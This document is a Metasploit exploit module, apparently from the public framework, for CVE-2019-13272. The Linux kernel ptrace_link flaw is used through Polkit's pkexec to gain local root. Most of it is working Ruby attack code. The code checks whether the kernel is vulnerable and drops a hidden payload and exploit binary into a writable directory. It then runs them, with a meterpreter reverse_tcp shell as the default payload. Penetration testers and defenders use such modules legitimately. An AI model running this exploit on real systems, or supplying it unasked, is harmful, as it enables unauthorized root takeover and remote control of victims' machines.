This Metasploit module exploits an issue in ptrace_link in kernel/ptrace.c before Linux kernel 5.1.17. This issue can be exploited from a Linux desktop terminal, but not over an SSH session, as it requires execution from within the context of a user with an active Polkit agent. In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles the recording of the credentials of a process that wants to create a ptrace relationship, which allows local users to obtain root access by leveraging certain scenarios with a parent-child process relationship, where a parent drops privileges and calls execve (potentially allowing control by an attacker). One contributing factor is an object lifetime issue (which can also cause a panic). Another contributing factor is incorrect marking of a ptrace relationship as privileged, which is exploitable through (for example) Polkit's pkexec helper with PTRACE_TRACEME.
a67b52657090e25d42aa370f66e7ca88##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::Kernel
include Msf::Post::Linux::System
include Msf::Post::Linux::Compile
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Linux Polkit pkexec helper PTRACE_TRACEME local root exploit',
'Description' => %q{
This module exploits an issue in ptrace_link in kernel/ptrace.c before Linux
kernel 5.1.17. This issue can be exploited from a Linux desktop terminal, but
not over an SSH session, as it requires execution from within the context of
a user with an active Polkit agent.
In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles
the recording of the credentials of a process that wants to create a ptrace
relationship, which allows local users to obtain root access by leveraging
certain scenarios with a parent-child process relationship, where a parent drops
privileges and calls execve (potentially allowing control by an attacker). One
contributing factor is an object lifetime issue (which can also cause a panic).
Another contributing factor is incorrect marking of a ptrace relationship as
privileged, which is exploitable through (for example) Polkit's pkexec helper
with PTRACE_TRACEME.
},
'License' => MSF_LICENSE,
'Author' => [
'Jann Horn', # Discovery and exploit
'bcoles', # Metasploit module
'timwr', # Metasploit module
],
'References' => [
['CVE', '2019-13272'],
['EDB', '47133'],
['PACKETSTORM', '153663'],
['URL', 'https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272'],
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1903'],
],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X64 ],
'Targets' => [[ 'Auto', {} ]],
'DefaultOptions' =>
{
'Payload' => 'linux/x64/meterpreter/reverse_tcp',
'PrependFork' => true,
},
'DisclosureDate' => 'Jul 4 2019'))
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
def check
# Introduced in 4.10, but also backported
# Patched in 4.4.185, 4.9.185, 4.14.133, 4.19.58, 5.1.17
release = kernel_release
v = Gem::Version.new release.split('-').first
if v >= Gem::Version.new('5.1.17') || v < Gem::Version.new('3')
vprint_error "Kernel version #{release} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Kernel version #{release} appears to be vulnerable"
unless command_exists? 'pkexec'
vprint_error 'pkexec is not installed'
return CheckCode::Safe
end
vprint_good 'pkexec is installed'
arch = kernel_hardware
unless arch.include? 'x86_64'
vprint_error "System architecture #{arch} is not supported"
return CheckCode::Safe
end
vprint_good "System architecture #{arch} is supported"
loginctl_output = cmd_exec('loginctl --no-ask-password show-session "$XDG_SESSION_ID" | grep Remote')
if loginctl_output =~ /Remote=yes/
print_warning 'This is exploit requires a valid policykit session (it cannot be executed over ssh)'
return CheckCode::Safe
end
CheckCode::Appears
end
def exploit
if is_root? && !datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
unless check == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
unless writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end
payload_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
upload_and_chmodx(payload_file, generate_payload_exe)
register_file_for_cleanup(payload_file)
exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile exploit_file, exploit_data('CVE-2019-13272', 'poc.c')
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx exploit_file, exploit_data('CVE-2019-13272', 'exploit')
end
register_file_for_cleanup(exploit_file)
print_status("Executing exploit '#{exploit_file}'")
result = cmd_exec("echo #{payload_file} | #{exploit_file}")
print_status("Exploit result:\n#{result}")
end
end